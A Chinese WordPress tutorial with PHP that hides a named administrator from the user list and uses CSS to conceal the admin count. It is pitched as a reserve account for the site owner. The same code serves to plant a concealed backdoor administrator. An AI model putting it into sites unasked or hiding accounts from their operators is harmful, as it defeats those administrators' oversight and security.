分享各种网络资源
是我乃至整个互联网的精髓所在
 您目前所在位置: 站点首页 » WordPress » WordPress 代码 » WordPress隐藏用户中指定用户
  • WordPress隐藏用户中指定用户

    WordPress隐藏用户中指定用户-BanYuner

    昨天刚刚发布了一篇关于如何隐藏插件列表中指定插件的文章,详见:如何隐藏插件列表中的插件。那么今天同样介绍一下如何在WordPress中隐藏用户列表中的指定用户。

    我们使用这个 代码 原因一个是因为自己站点一旦被黑,或者说站点拥有多个管理员的时候,自己预留一个管理员并且隐藏的话,就不怕那些蓄意搞破坏的家伙禁止我们登陆了。

    那么如何使用呢, 代码 如下:

    add_action('pre_user_query','yoursite_pre_user_query');
    function yoursite_pre_user_query($user_search) {
    global $current_user;
    $username = $current_user->user_login;
    if ($username == '<YOUR USERNAME>') { 
    }
    else {
    global $wpdb;
    $user_search->query_where = str_replace('WHERE 1=1',
    "WHERE 1=1 AND {$wpdb->users}.user_login != '<YOUR USERNAME>'",$user_search->query_where);
    }
    }
    

    其中替换为用户列表中的用户名。代码方面直接放入functions.php中即可。但是这里我们还是需要注意一点,因为在用户页面中,会显示管理员用户有多少个,那么就报漏了,这里通过CSS直接隐藏是最好也是最方便的方法,添加下面代码到functions.php中即可:

    function hide_user_count(){
    ?>
    <style>
    .wp-admin.users-php span.count {display: none;}
    </style>
    <?php
    }
    add_action('admin_head','hide_user_count');
    

    下面是我测试前的效果:
    WordPress隐藏用户中指定用户-BanYuner

    下面是测试后的效果:
    WordPress隐藏用户中指定用户-BanYuner

    其实使用起来效果还是不错得,有兴趣的用户可以尝试使用一下。 WordPress隐藏用户中指定用户-BanYuner

    关注我们 错误反馈 打赏 分享此文
    • 微信扫码,关注我们

    • 扫码,支持我

      WordPress隐藏用户中指定用户

      支付宝

    • 扫码,支持我

      WordPress隐藏用户中指定用户

      微信

    • 扫码,手机看

      WordPress隐藏用户中指定用户
    WordPress隐藏用户中指定用户
    9 + 4 =